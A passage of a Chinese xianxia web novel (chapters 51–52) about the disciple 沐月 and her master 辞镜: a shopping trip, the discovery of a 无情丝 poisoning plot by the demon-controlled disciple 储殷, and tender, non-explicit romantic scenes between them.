“原来如此,不过也少不了您的教导!”江掌门还在持续马屁中,但是辞镜对此没有再发表言论。
“看着仙尊的爱徒与小晏年纪相仿,此次小晏可能需要在贵宗多叨扰几日,就麻烦大家了。”
辞镜听见擎云门掌门所说,看向他身旁坐着的青年,与沐月年纪相仿?
他特意如此提及是何意?辞镜没有答话。
密切关注四方动向的万剑宗掌门还能不明白擎云门掌门的小九九,这是拐着弯儿试探仙尊试图攀关系呢,见辞镜没有任何反应,掌门立即道:“谈何麻烦,能来我宗,弟子们高兴还来不及,你可不知晏清小友在弟子们心中的受欢迎程度,你这个做师尊的该担心的是,到时候弟子们不放人了!”
如此,又是接连不断的笑声。
沐月抬头时不经意看到正对面的海晏清,确实很有姿色,一表人才,修为实力也是年轻一辈中的翘楚,难怪如此受欢迎。
察觉沐月的视线,海晏清颇有礼节地朝她颔首一笑,沐月意识到她盯着人家看的时间太长了,想移开视线,但又显得此地无银三百两,索性强迫自己和他对视,略微尴尬地朝他一笑。
辞镜低头正要与沐月说什么,却看见她盯着对面在瞧,顺着她的视线看过去,她所看之人正是擎云门海晏清,她似乎还笑了一下。
收回视线的沐月这才发现师尊看着自己,“师尊,怎么啦?”
辞镜将剥好放在盘中晶莹剔透的果肉推到沐月身边,“你喜欢吃的灵果。”
“谢谢师尊。”
沐月开心接过,她吃了几颗,味道清甜。但是开心没有持续太久,毕竟心里还压着一件大事。
之后近半个时辰内辞镜都没有再喝酒,沐月悄悄注意着师尊的脸色,不见醉意,眼神温柔清明,一如往常,这哪里有半点醉态,莫非司命的命格簿出了差错?
沐月强装镇定,绞尽脑汁让师尊喝酒,但是她如此反常,让辞镜察觉不对。
“阿月,为何要让师尊喝酒?”辞镜前几次倒也依了她,但次数多了后,他不得不问。
“这个嘛……”
“只是没见过师尊喝醉的模样,有些好奇。”沐月破罐子破摔,她实在想不出其他的合理的理由。
“你想师尊喝醉?”辞镜迟疑片刻,静静看着她。
沐月点头。
她见师尊没有再开口,仿佛有些为难,她心想自己这奇怪的要求肯定让师尊摸不着头脑,定然会拒绝。
“……若我喝醉,我们要如何回戚雪峰?”
沐月没想到师尊犹豫的竟是这个。
“没关系,我有传送符!”沐月几见师尊这回答似乎有戏,连忙道。
她现在迫切想要灌醉师尊,然后……对他为所欲为!
“……”
见她眼里满是激动,辞镜端起斟满的酒杯,抬眸时正对上沐月的双眸,他收回视线慢慢咽下,喉结随着他吞咽的动作上下滚动,一杯很快就见了底。
但还不够。
她要师尊醉得不能挣扎,不能反抗,乖乖躺在那儿才行。
沐月目光灼灼地盯着师尊,准备随时将他的酒杯倒满。
50-60
第51章 第51章还不够
阁楼上的一切沐月并未注意,她尚且只是金丹期还无法看到太远的距离,此时她正仔细听着海晏清介绍鄢城,何处好玩的多,何处吃得多,她若想买些特色物件儿又该去哪里。
“海师兄对此竟如此了解。”灵犀有些惊讶,毕竟海晏清并不像是会过多了解这些之人。
“到底生活了如此多年,自然是了解的,但我知晓的也不算多,若是你们找宗门里的其他师妹,或许能去的地方还要多些。”
他对鄢城其实了解并不多,临时还找人问了问才能如此胸有成竹地回答沐月和灵犀的问题。
就是她们的问题实在有些多,他知道的已经所剩不多。
与此同时另一半阁楼,辞镜起身告辞,“本尊还有些事情就先告辞了。”
辞镜礼节性说完便走,在座众人也不敢置喙,只是惊讶于辞镜究竟有何要事中途离开。
柳青长老看着他离去,辞镜的背影消失,她转而去看已经走出一段距离的沐月,他是去找她吗?
心中生出疑惑,她越想方才辞镜看沐月的眼神,她的神色便越凝重。
扫了眼周围长老,他们对此毫不知情,也不知若是知晓了,会掀起怎样的轩然大波。
不过,也或许是她多想了,暂时不能妄下定论。
随后她便在方才的小径上看见辞镜,而他跟上了已经走远的沐月。
柳青握紧茶杯。
对于突然出现的师尊,沐月也有些茫然,“师尊?你怎么在这里?”
“正好与长老们有事在此相商,现在已经结束了。”
沐月点点头,难怪。
“师尊我还要去鄢城,你先回去吧。”
她才刚说完,就听师尊说:“无碍,师尊随你们一起去便是。”
“?”
她们年轻人的活动,师尊来凑什么热闹?产生这一想法的瞬间沐月立即谴责自己,怎能如此说师尊呢,他虽已经三百来岁了,但他看着还是很年轻的。
“可是,我们是去逛街。”她想师尊会不习惯吧,虽然之前也同她一起去过,但现在不止有她们,还有灵犀和海晏清在呢。
“阿月,你可是不想师尊与你们同去?”
此话一出,灵犀和海晏清都规规矩矩站着,眼珠子都不敢乱动一下,她们比起随意的沐月,大气都不敢出。
“我没有啦。”只是她担心师尊会不自在,大家都不自在。
沐月看向灵犀和海晏清,这两人看着怪僵硬的。
“阿月,仙尊与我们同去我高兴还来不及,时候也不早了,快走吧。”
如此沐月也不好再说什么,师尊要去便去吧,虽然不知这次为何他要如此执着地随她们一听同前往。
比起刚才,现在的气氛冷了许多,沐月也不能直接让师尊离开。
她也不知该和师尊说些什么,三人气氛着实尴尬。
“仙尊以往也会同沐月师妹一同去逛街么?”海晏清
的提问打破了尴尬。
“嗯,以往会同去些地方,这次恰好无事,阿月之前说想添置些衣裳,我想着便一起去了。”
海晏清和灵犀越听越惊讶。
“想不到仙尊竟还会关心这些,您和沐月师妹的关系确实很好。”
“有您这样的师尊,确实是一件极幸运之事。”
沐月想说,师尊怎么连这种事都往外说,之前也没见他说这些,说得她像是个被他娇生惯养什么也不知道的大小姐。
“有阿月才是幸运。”
这话说得极为坦然,可又觉哪里不对,仔细去想却又想不出个所以然,海晏清笑着点头应是。
三人来到鄢城,率先去买衣裳,海晏清知晓哪里的成衣铺子最受姑娘们欢迎,率先进店,沐月和辞镜紧随其后。
“这里是鄢城最大的衣裳铺子了,若没有喜欢的,也可以直接定做。”
老板瞧了眼海晏清,又去瞧了眼沐月和灵犀,视线停留在沐月身旁的辞镜身上,这位虽俊得跟神仙似的,但看着年岁要大上许多,她又去瞧海晏清,他的视线几乎都停留在那个叫沐月的姑娘身上。
思来想去,老板了然于心,她直接招呼,“哟,这位公子选的不错呢,姑娘你穿着定然貌美动人,这天水碧的颜色就衬你,这位公子穿的似乎是法翠色,岂不正正好!”
沐月尴尬了,她起初还没听出来,但这老板如此热络地将她和海晏清说到一处,再听不出来就是傻子了。
灵犀倒是没多想,她只是觉得这颜色确实挺好的,也是沐月平日喜欢的,款式也新颖,比万剑宗附近城池卖的都要新奇些,看着虽简单但做工却极好,将女子的美勾勒得淋漓尽致,却又不会过于显眼。
“试试吗?”灵犀看了一圈,还是觉得这件天水碧的最好,可就凑巧了,海晏清今日穿的也是这个色系。
沐月也觉喜欢,管他的呢,自己喜欢不就行了,穿同款式衣裳的人也多了去了,只是颜色相似罢了,她放着下回再穿便是。
老板并未直接说她与海晏清的关系,沐月也不好澄清,到时人家没有这个意思那不就更尴尬了吗。
“那我去试试。”
“阿月,等等。”辞镜唤住她。
“嗯?”
“你那件缃叶色的衣裳似乎已经穿了许久,可要添上一些?”辞镜示意她看向那条黄色调的衣裳,比起刚才的素雅,这件明艳宛若一朵盛放的棣棠花。
沐月看过去,这件也不错,衬她的肤色,若是春日阳光之下穿这件想必极好。
那都试试。
老板瞅了瞅海晏清,又瞅了瞅辞镜,她这般阅历见过的人那是上万的数,可这回怎么有点看不懂这几人的关系?
似乎这个白发的男子和这姑娘更亲近,虽说这男子瞧着也很年轻,却给她一种岁数远不止于此的感觉,应当与这小姑娘不是恋人关系,可……
思来想去,老板实在想不明白。
可在听见沐月的师尊二字后,她恍然大悟,难怪长得跟神仙似的,确实是修仙的仙长啊!既是师尊,那就能解释了。
沐月拿着两套衣裳进屋,她思来想去,先换上了师尊给她的那套。
门外老板还在来回瞧着辞镜和海晏清,只感叹这修仙之人就是不同凡响,一个个都长得俊都很。
不过很快她便不敢再瞧了,因为辞镜和海晏清都看向了她。
老板不能看,却还能想,若有这样一个师尊,寻常男子怕是再难看得上。
不过……师尊竟也要来给弟子挑选衣裳的么?老板娘状似无意地又瞥了辞镜几眼。
沐月很快换完出来,最终两件都拿下,她又看了些其他的,一共拿了大约十件,灵犀也买了一些,两人买了新衣裳都很高兴,之前因辞镜与她们同行的不自在也淡了许多。
海晏清还未来得及主动付钱,辞镜已经问了价将灵石给了老板娘,将沐月和灵犀的一并给了。
“仙尊,我自己来吧。”灵犀见此连忙掏出自己的灵石。
让仙尊给钱她这还是头一回啊,实在不敢接受。
“灵犀没事儿,就当我付的。”沐月表示,反正她的钱几乎都是师尊给的,她自己买,和师尊买也相差不多。
而且她和师尊出来逛街,确实都是师尊付钱,她也没觉得如何。
“可是……还是我自己来吧。”
灵犀总觉得哪里怪怪的。
尤其是仙尊如此自然地主动为沐月付钱一事。
虽然她的师尊也会给她们一些灵石,但并不多,即便同行需要买些什么,也没有师尊主动付钱的道理,即便有也不是如此自然的,哪有师尊掏钱,徒弟像沐月这般毫无表示坦然接受连句道谢也没有的。
沐月和仙尊的距离,似乎过于亲近了。
不过疑惑归疑惑,她却十分羡慕,她要是买什么都有师尊买单岂不幸福死。
“我师尊已经给了,没事啦,还要去买别的,到时候你自己付就是了。”沐月随口道。
灵犀见钱确实已经付给老板娘,她也没再坚持,虽然感觉不太好,但她真的很激动,那可是仙尊付钱买的衣裳诶,说出去倍有面子!
四人又去看了些路边小摊的新奇物件,辞镜的视线落到一只莲花簪上,莲花簪里还有颗极具匠心的夜明珠,极小,在白日光亮并不明显,可还是一眼就吸引了辞镜的注意。
他想到沐月头顶那朵招摇的小花。
“阿月,要试试这个吗?”辞镜取下那根发簪。
沐月眼前一亮,“嗯我要试试。”
辞镜将发簪轻轻簪入沐月的发髻,调整了一下发簪的位置。
“好了。”辞镜仔细看了看,发现没有再需要调整之处才讲将手松开。
“师尊好看吗?”沐月扶了扶发簪,满眼期待。
“嗯好看。”辞镜莞尔,眼底的笑意比今日的阳光还要温暖。
沐月在小摊前的镜子仔细瞧着,发现确实不错,直接拿下!
却从镜中看到灵犀呆愣的脸,沐月突然意识到她刚才和师尊的举动是不是,太亲密了?
就在此时,摊主姐姐身后突然冒出个脑袋,是个小男孩,沐月觉得他有些眼熟。
“哇姐姐,竟在这里看到你了!你也搬家了吗?”
沐月想起来了,这不是在柳城卖她们花环还乱说话的小男孩么?
这次他不会乱说吧,正想着,小男孩就看着沐月身边的辞镜,“哇,哥哥你也在,你和姐姐在一……”起没有啊?
话还没说完,就被沐月堵住了嘴,她往小男孩嘴里塞了颗糖。
他吃着糖,暂时忘了刚才要说的话了。
沐月也是没想到跨越如此遥远的距离,竟还能在此见到这个小男孩。
幸好没被他说漏嘴。
“阿月你认识那个小孩子?灵犀回头看向那还望着她们的小男孩。
“之前在柳城遇到过。”
“柳城?难怪他说搬家了,这还真是天大的缘分。”
沐月不敢再逛了,再逛下去可能会露馅儿,“今日我们要回去了吗?”
“时间还早呢,不过该逛的也逛的差不多了,回去也行。”灵犀表示和仙尊一起逛街的压力还是挺大的。
即便有人不知道辞镜为何人,但他的样貌足以引起路人的围观,他所在之处,都要比其他地方拥挤得多,更遑论,还有那些本就知晓他,钦佩他的修士们。
这回辞镜没有动用隐匿之术隐藏自己的容貌,所有人皆能知晓他的举动。
回到擎云门,沐月却没有和师尊回四合殿,而是去找储殷,今日他有些奇怪,她得去看看。
灵犀的院子就在储殷隔壁,她也要随沐月一同前往。
“你去看他做什么?”灵犀不解地问。
“我今日发现他脸色有些不对。”
“我还真没注意。”灵犀仔细回想,还是没发现,反正就在隔壁不如去看看。
“不过我最近觉得储殷有点奇怪,我也说不上来,就是
感觉他没有以前这么坦诚了,不过一直以来他好像也没和我们说过什么。”
虽然已经相处了十几载,但她好像对储殷的了解并不多。
沐月思索着灵犀的回答,原来不单单是她自己这么认为。
原本她以为或许是因为师尊和她所说之事让她开始留意,才会发现储殷的不对劲。
“你说他是不是遇到什么事情在瞒着我们呀?”灵犀担心。
“上回他突然生病也是。”
沐月想起此事,上回储殷生病两日未来上课,而他的锁骨处那丝淡青色的痕迹是否于此有些关联?
她还没问师尊,那个茶究竟被动了什么手脚。
说着就来到储殷的小院,他与离星洲同住,可此时并未看到离星洲的身影。
沐月没有立即敲储殷的房门,而是在窗外往里看,却发现储殷似乎在打坐修炼。
她仔细观察他的神色,面色比起之前要更加苍白一些,按他的警惕性早该注意到窗外的她们才对,可他仍旧皱眉似乎在集中精力稳住心境。
他并未到瓶颈期,离元婴境尚且还有段距离,往日的修炼稳扎稳打,按理说不会出现这样的情况才对。
此时她们不易进屋干扰储殷,虽不知他去究竟在对抗什么。
沐月示意灵犀先离开,可才走出一步,储殷便睁开双眼。
正好看见沐月和灵犀的身影。
门被推开了。
沐月闻声转头看去,门口之人正是方才闭目调息的储殷。
“进来吧。”储殷说完回屋坐下,他的在调整自己的呼吸。
沐月和灵犀对视一眼,走进屋中。
“你身体看着不太好,可要找医修过来看看?”
“就不必了,我已经好了。”储殷喝下一杯冷茶,稳住声音道。
“可你瞧着并非无碍的样子。”灵犀凑近仔细观察储殷。
“你是不是遇到什么麻烦了?我们好朋友多年,不会弃你于不顾的,你就说说呗。”
沐月看着储殷,她极少看到他笑,比起其他弟子,他明明还小却好似比她们成熟许多,以前他以为是性格使然,可现在才知并非如此简单,他好像背负了什么她们不知晓的秘密。
而这个秘密,必定与她的师尊有关。
“你们不用为我担心,我确实无碍。”
“好吧。”灵犀也没有过多纠结于此,她为了活跃气氛状似遗憾的说:“今日你没有和我们一同前往鄢城可是天大的损失,你不知道,仙尊和我们一起去了,我们今日买的东西全由他付钱!”
“仙尊?”
灵犀以为储殷是羡慕,连忙点头,“是啊,我们半路上遇见仙尊,便和他一起去逛街,这可是有生以来头一会儿,现在想想我都还激动呢。”
看着沐月一副习以为常的模样,灵犀更觉羡慕嫉妒恨。
储殷想的是,在飞舟上时仙尊一切如常,来到擎云门已有几日,竟然还能与他们逛街,便极有可能,他其实已经发现了。
幸好。
他看向沐月,那她知晓了吗?
几人又说了会儿话,大多是灵犀在说,沐月在一旁悄悄观察储殷的反应。
离开时临近傍晚,天气瞬息万变,之前还阳光明媚,现在又乌云密布,刚才在房中尚且没有发觉,一出门便直观的感觉到,起了风,冷了许多。
沐月赶在落雨之前回到四合殿,师尊坐在殿内建造的溪流旁喂锦鲤。
见她一回来,便放下手中的鱼食,走向沐月,感受到她身上的冷意,辞镜将自己的外袍脱下披到沐月肩上,“外面可下雨了?”
“师尊还没呢,但应该快了。”按这天色,不出一刻钟想必这雨便会落下。
天色暗沉,辞镜又燃了几盏灯。
“阿月,你去了哪里?”他原本是不打算问的,可还是未能忍住。
他不想让沐月觉得他干涉她的生活,可发现有些困难。
“我去看了储殷。”沐月说起这个立马问辞镜,“师尊,之前我送你的灵茶发现了什么问题?”
她想知晓,心里大概也能有个数。
“阿月,你当真想知晓?”辞镜牵过沐月的手,轻声问她,他有些担心沐月会无法接受。
“我想。”她不想什么也无法得知,被蒙在鼓里。
“那日师尊打开你送的灵茶,却发现了异常之处,让你师伯查看,却在茶里发现了无情丝。”
“此物只在书中有记载,你师伯他无法完全确定,但此物的特征和书中所写都对得上。”
听名字就知此物的作用。
“若不小心食用此物,会如何?”
沐月心中隐约有了答案,可她还是问了师尊。
过了良久辞镜才回:“阿月你放心,师尊没事的。”
虽师尊没有正面回答,但沐月已经猜到。
无情丝,无情。
“若服下,师尊你会忘了我吗?”沐月不由问。
“不会的。”即便暂时剥夺了他对沐月的感情,但也会源源不断地重新生长。
“阿月你不用多想,现在已经解决了。”辞镜取出装有无情丝的锁灵瓶,“就是此物。”
沐月却什么也没瞧见,若是她,准就中招了。
师尊似乎不愿与她多说这无情丝为何物,会带来何种后果。
她回到寝殿后主动找了司命询问,得知若服下此物会剥夺所有爱欲,最后欲望被蚕食殆尽就会七窍流血而死。
所以她差点,差点就让师尊服下此物,若她耐心一些,主动翻阅书籍学习制茶,再小心一些也不会经别人的手。
沐月一阵后怕,跌坐在床上。
夜里她被噩梦缠身,梦中师尊银河耀眼的银发彻底成了干枯的白发,双眸冰冷空洞,白衣染血,与总是温柔笑着的师尊宛若两人,随后看着她没了气息,肉身化作水,彻底消失在这人世间。
沐月醒来一身冷汗,那个无情丝还在四师尊的手中,若是不小心……
她的手脚发软,走在地上时还觉虚幻,她赤脚走到师尊寝殿,在她进门时辞镜就已经醒了,但不知她为何前来,闭上双眸并未动作。
他能感觉到沐月站到了他面前,没什么声音,应当没穿鞋,辞镜眉头轻蹙,想要睁眼,还未来得及起身,就被扑上来的沐月紧紧抱住。
沐月手紧紧环在师尊的脖颈,眼底滚烫的泪水颗颗滚落,打湿了他的衣襟。
辞镜想去看沐月的脸,但她牢牢抱着不放,“师尊对不起……”
若师尊当真……那她该怎么办?
她贴在师尊颈窝,随后含泪抬起头,手小心翼翼地去触碰他的脸,他的眉眼,挺直的鼻梁,还有薄薄的唇。
其他地方她也不放过,去触碰师尊的每一个地方,好切切实实地感受到师尊确实是好好的,并非梦中那般消失了。
辞镜睫毛颤动,“阿月,做噩梦了吗?”大半夜进他房里,还哭成这样,辞镜暂且只能想到此种结果。
才说着,沐月就吻上他的唇,沾染这泪水的味道。
“师尊你能亲我吗?”沐月主动提出这个要求。
她迫切想要感受到师尊身上的温度,不只是这样拥抱。
辞镜没有再问她为何如此,只是手掌穿过她颈后的发丝,轻轻抚着沐月的后颈,仰头,缓慢地吻着她。
像是山间清晨的风,随后洒落温暖的阳光,让人宁静平和,也沉醉其中不想离开。
沐月喜欢这样的吻,可这次她想要的更多。
最好让她无瑕去想其他,让她完全沉浸在与他的亲密里。
这样的阿月,辞镜头一回见,但他还是没有去询问缘由,而是顺从她,安抚她。
沐月挣扎着抬头,泪眼朦胧地说:“师尊你能再重一点吗?”
还不够,这样还不够。
第52章 第52章本该是他的
听闻沐月的话,辞镜无法拒绝。
再重一些么?他喉结微滚,手臂稍微用力,将身上之人小心翼翼地换了个位置,此时沐月躺在床上,辞镜撑着身体垂眸看着脸上满是泪痕的女孩。
他俯身,一点一点将她的泪水吻干,沐月却拉住师尊的衣襟,让她们再无半分距离。
如此她才感觉那股虚幻之感减轻许多,主动仰头让师尊吻得更深。
辞镜动作微顿,随即扣住沐月的下颌,动作相较方才的温柔要强势许多,炙热潮湿,沐月气喘吁吁渐渐没了招架之力,温柔之下是充满侵略性的男子本性。
时间流转,辞镜的手指从沐月的脸颊逐渐游移至她的肩膀,粉色的衣裳已被揉皱,可他很快便停住了。
他起身,濡湿的睫毛轻轻颤抖着,眼尾也染上淡淡的红晕,将此时晕乎乎已经镇定许多的沐月搂进怀里,吻着她的额心,“睡吧。”
因师尊的吻浑身发软的沐月靠在他的胸口,有气无力地问:“师尊,无情丝你能销毁吗?”
“师尊拿着不会有事的,若阿月你担心,那我将其交给你师伯处理可好?”一边说着,他一边吻着沐月的发丝。
他对此物了解不多,也不知如何彻底将其销毁,交给渡厄之他想必会有更好的办法。
沐月点头,她现在没什么力气,却不想入睡,心中情绪烦乱她又如何入睡。
此物若是这般难寻,连司命都惊讶于人界竟会有此物,说明储殷的来历并不简单,沐月又想起此前储殷和离星洲为了师尊徒弟的身份争得你死我活,储殷是否是想要借此接近师尊?
沐月越想越是心惊,不出意外,这无情丝便是储殷在灵茶中放的,但也不排除其他人调包的可能,不过直觉告诉沐月,此种可能太小,若当真如此,他蛰伏如此多年只是为了解决师尊吗?
沐月从不知师尊与谁结了深仇大恨,又是谁费尽心机筹谋想要让师尊消失。
如司命所说,一旦师尊当真被无情丝蚕食,将会化作杀人利器,毁掉万剑宗事小,恐会危及整个人界。
为了三界安稳,那时天界也会主动出手干预,若实在无法挽回,无奈之下也会果断解决师尊,他在人界的化身遭受重创,神魂回归天界也会元气大伤。
若他尚且能控制自己不伤及无辜,最后也会被无情丝蚕食殆尽而死,他的神魂同样会被反噬。
如此一来人界天界皆会损失惨重,唯有虎视眈眈的魔界才是最大的赢家。
沐月在月清宫莲池内的日子里多少也能听见一些关于天界与魔界的纷争,所以,储殷会是为魔族卖命吗?
还是说他本身就是魔?
此种可能性太小,在处处都有魔气检测法阵的万剑宗,甚至还有师尊在,储殷没有道理一直如此安然无恙,况且每年还要去青囊殿清脉,上次殿主亲自检查都未能察觉异常,所以储殷很有可能是被魔族控制,也可能是效忠于魔族。
希望,一切是她误会了。
“师尊。”沐月在辞镜胸口蹭了蹭,握住他的手,手指挤入他的指缝,与他那极为好看的手十指相扣。
“嗯?”
“你会如何处置储殷呢?”
目前真相还不明朗,可若是放任岂不后患无穷,她不愿储殷受伤,可也不想事态更加严重,更不想师尊会因此再次受伤。
这次是无情丝,那下次又会什么暗藏的危险等着师尊?沐月不知道,可她不能不去想。
“师尊在他身上留下了追魂印和能察觉他的异动,若他行动,师尊会得知。”
辞镜一直没有告知沐月之前被魔气入侵一事或与储殷有关,此次是时候了。
“上次你外出时被魔气入侵昏迷在宗门不远处的松柏之下,我猜测与此人脱不开关系,他针对的可能不只是我。”
这才是辞镜最担心的一点,此人似乎最开始的目标是沐月,可那魔气并非无法祛除,也造不成任何致命伤害,有没有一种可能,是想借沐月将魔气转移到他身上。
那魔气要比人界寻常的魔气难缠得多,他险些被魔气入侵识海,他现在一丝一毫的魔气也可能让他万劫不复。
可这些只是猜测。
*
次日,沐月出门上学,她特意看向储殷的位置,今日他倒是来了。
有意注意储殷,但也不能过于明显,若储殷确实处于敌对阵营,那她自然会站在师尊那方,可她想知道究竟是否是他,但显然仅靠如此观察是万万不行的。
但她没想到,一切会来得如此快。
上午上完课,储殷走到沐月面前,神情与往常无异,“沐月,我有些事情想与你说。”
她想知道储殷究竟会和她说什么,直觉告诉她会与无情丝有关。
“有什么是我不能听的?”灵犀瞅着两人嘀咕,说归说却也没有硬凑上去。
“你们慢慢说吧,我就先走了。”灵犀哼了声大步走向门口。
储殷并未往灵犀那边看,始终盯着沐月。
“去哪里呢?”沐月说着提前给师尊发去传讯,虽然她并不认为真正的储殷会伤害她。
“跟我来。”
沐月起身跟着储殷走出门外,她们正在往人少的地方走,林荫越来越密,此地鲜少有人来,四下寂静无声,只能听得了鸟鸣和她们的脚步声。
“储殷,你找我前来所为何事?”沐月没有再随他往深处走,却在此时,她隐约瞥见此时的储殷神色似乎有些异样,分明与往日没有什么区别,可她总觉得面前之人似乎突然变化。
随后她身上的印记爆发刺眼的亮光,沐月看到了浓重的魔气从储殷脖颈处弥漫,瞬息间凝结成利刃的模样朝她袭来,她竟被控制了身形一般无法动弹,沐月发动精神力操控周围的绿植将她卷起,想要躲开这道攻击,与此同时辞镜的攻击也随之而来。
但沐月发现,那魔气攻击中途被强行召回,被魔气笼罩的储殷神色变幻,像是极为痛苦地想要冲破控制,他自己被那些魔气反噬,脸色极为苍白骇人,口中呕出一大口发黑的血迹。
“师尊。”沐月连忙靠近出现的辞镜,与他一同看向几步之外倒在地上面色狰狞的储殷。
“他被控制了。”辞镜皱眉道。
此前一直并未发现,但不知这次是因为他的自主意识过于强大开始和控制他之物争夺身体还是因为其他原因。
早在方才辞镜就已经动用灵力封锁整个区域防止魔气四溢被擎云门觉察,储殷毕竟是万剑宗弟子,此事不宜过早被外界知晓。
趁机用缚仙索将储殷束缚,辞镜口中默念法诀,一道金色的流光注入储殷额心,沐月像是听见了凄厉的叫声,转瞬即逝,储殷身上的魔气也快速消散。
他恢复了平静,颤抖地躺在地上,昏迷不醒。
辞镜伸手搜取他的记忆,搜魂会导致精神力受创记忆错乱或者缺失,若搜魂者实力过于强大甚至可能导致被搜魂者痴傻,这也是为何辞镜没有一开始就动用搜魂的原因。
此人是沐月朋友,而他并未彻底确定,但此时一切都已明了,他确实与魔族有关,那辞镜自然也无需多虑。
若从头看到尾,消耗的时间太长,此地并不安全,辞镜只选择性看一些记忆碎片。
越看他的神色越凝重,在搜取某段记忆时,他竟被阻隔在外,像是有一个无形的力量让他无法窥探真相,辞镜强行运转灵力,强忍神魂刺痛,将那一片浓雾拨开。
他微怔。
沐月不知师尊是在搜魂,也不知他为何会是此种反应,她有些担心,可又怕出声会干扰到师尊。
好在他很快收手,只是神情依旧有些茫然。
就仿佛置身虚幻的梦里。
“师尊,你怎么了?”沐月上前握住他的手,担心地问,师尊为何会这幅表情。
辞镜看着眼前的沐月,她分明就在自己身边,可他却有种自己与她被隔绝开的错觉,宛如他们置身于两个全然不同的世界。
辞镜耳边嗡鸣,他渐渐听不见沐
月的声音,强行调整体内紊乱的灵力,从方才从储殷的记忆画面中脱离,带着沐月和一旁地上的储殷瞬移至四合殿,“阿月,师尊要先回万剑宗一趟,在我回来之前都不要离开,记住了吗?”
沐月看向地上人事不省的储殷,知晓师尊为何要如此匆忙地回去。
“我记住了,我会等师尊你回来的。”
“我很快就回,若是晚了你先睡好么?”
“嗯,我知道。”
“还有今日之事,与谁都不要提起。”
沐月点头。
“师尊去去就回。”辞镜说完最后一句和储殷一起消失在四合殿。
沐月看着师尊消失,殿内突然安静空旷,她静坐在桌边,这两日发生了好多事,她有些六神无主,也不知师尊何时才能回来。
师尊说很快就回,可她始终没有看到他的身影,夜幕降临,窗外夜空繁星点,可她无暇欣赏。
沐月谨记师尊的话,随意洗完澡躺进被窝里,但她却毫无困意,今日之事一直在她脑中回荡,储殷与魔族,师尊与无情丝,都让她难以安宁。
她起身走向师尊的寝殿,还是留恋师尊的气息,直到盖上被子,被他的气息包裹沐月才觉那股安全感回归。
烛火摇晃,夜半,睡得极为不安稳的沐月缓缓睁开双眼,有些错乱的脚步声让她立即翻身而起,师尊回来了吗?
她困意消失,下床跑向传来动静的正殿,却见师尊嘴角染血,雪白的袍角也沾着点点血迹,就像雪中盛放的点点红梅。
他身形有些摇晃,看向她的眼里似乎带着惊慌无措。
沐月连忙起身跑向他,小小的身体稳稳地支撑着他,“师尊你怎么了?”
去时都还好好的,怎么回来就成了这番模样。
辞镜抱住沐月的身体,声音有些颤抖,“阿月你去了哪里?”
察觉师尊情绪不对,沐月立即安抚解释:“我去师尊您的床上睡的,没去哪里。”
“师尊你为何受伤了?”
“师尊无事。”辞镜稳住身体,白日强行窥探储殷被隐藏的部分记忆,辞镜被灵力反噬,加之两次长距离的瞬移加重了他的负担。
但这些远没有看到储殷记忆时来得难熬。
他还是紧紧抱住她,生怕她会突然消失。
沐月连忙扶着师尊走向床边,“师尊你先坐着休息。”
她取出帕子小心翼翼擦拭师尊唇角的血渍,“师尊你方才是在搜魂吗?”
沐月虽然没见过搜魂,可她对此并非一无所知,毕竟她喜欢看些杂书,书里所写的搜魂便如师尊的举动。
“嗯。”辞镜没有否认,一旦确认储殷与魔族有关联,他便可以毫无顾虑地动用搜魂之术。
“那你看到了什么?”
辞镜无法和沐月提及,若她知晓她所在的世界都是虚假的,被司命星君所构建的世界,会是何种反应。
辞镜原以为他和沐月的时间还有很长很长,有无数个三百年,只要他不飞升就能与她相伴一生,现在却得知,这一切只是他的一场历劫,天上一日,人间一年,他甚至不知在他历劫回去后,是否还能找到沐月。
他与沐月的师徒关系,不过是司命星君随意写下的文字,只是想他顺利渡过情劫。
所以,阿月是真心喜欢他的么?还是只是因为司命星君的有意安排,提线木偶般**着在意他。
他甚至不敢保证她的存在是否是真实的。
不过,这也注定了他会与阿月在一起的不是么?
她始终是他的。
“阿月。”辞镜抿唇,不敢直视她的双眼。
“师尊无法告诉你,但我永远也不会离开。”历劫也罢,飞升也罢,都不重要。
便是永远不回这天界又有何妨。
他留恋的是有阿月所在的世界。
沐月没有再问,她俯身趴在师尊怀里,手臂环住他的腰,“幸好你好好的。”
也不算是好好的,师尊也受伤了,分明之前还好好的。
“师尊你现在这样我害怕,我去找个医修过来为你看看。”
“阿月不用了,师尊休息一晚便好。”若在万剑宗他便也依了她,但这里是擎云门。
“真的?”沐月不太信。
“师尊何时骗过你。”
沐月终于露出笑容,但很快又垮下小脸,一脸严肃地问:“那你为何会吐血?”
“只是短时间高频率远距离瞬移,短时间不用便是,倒无其他关系。”辞镜耐心向沐月解释。
是的她差点忘了师尊的瞬移并非毫无限制。
沐月看着师尊思索纠结。
“在想什么?”辞镜不解地问,“可是师尊脸上有东西?”
“没有啦,我只是在想,师尊你今晚,不如就在我这里睡吧。”
反正昨晚也一起睡过了,之前她们也一起睡过好多次,这两日发生的事情让她心绪不宁,寝食难安,方才师尊又受了伤,她要看着才能安心。
“好,那阿月你先睡下,师尊去沐浴。”
沐月如此爱干净也是学师尊,以往她独自一人流浪时脏兮兮的,对干不干净毫不在意,不过在师尊的耳濡目染之下,她也养成了爱干净的好习惯。
沐月嗅了嗅自己身上,香香的。
师尊回来后她迟疑片刻,思索着是否要靠近他时就被师尊抱在了怀里,他才沐浴身上很暖和,沐月往他怀里又钻了钻。
“师尊,你回去是去处理储殷吗?”沐月看着师尊优越的下颌线恍惚地问。
“嗯,他与魔族有染,究竟是受魔族控制还是其他需要审问后才能得知,师尊已经告知你掌门师叔严加看管,但不得动用私刑,等我们回去再行解决,所以阿月你不用太过担心。”
“师尊,我知道的。”
只是想想还是有些恍惚,她与储殷相处的这十多年分明如此真实,可又恍若一场梦境。
“师尊,有时我感觉自己像在做梦,梦醒了一切都消失了。”
听闻沐月无心的一句话,辞镜轻抚她长发的手微滞,他不会让这一切成为梦境的。
“不会消失的。”辞镜这句话也不知是说给谁听。
沐月也有些茫然,她总觉得,一切似乎就快要结束,结束后他们都会回到彼此的生活,应当会有所交集,但终归不是现在的她们了。
那时回想起在这人界历劫的经历,或许只会偶尔提及一次便会毫不犹豫地翻篇。
辞镜低头去看靠着他的沐月,带着她的身体轻轻一动,便与她四目相对。
“师尊?”沐月不知师尊打算做什么。
辞镜贴近沐月,与她的身体契合,彼此都仿佛紧紧地依偎着对方,感受彼此的体温。
两个不安的灵魂都在抚慰彼此。
沐月被师尊静静抱着,不知多久师尊才慢慢松开,还未等沐月离开,他便吻上沐月的唇。
一如既往地温柔漫长又折磨人。
被吻得迷迷糊糊的沐月终于在师尊怀里安心睡去。
*
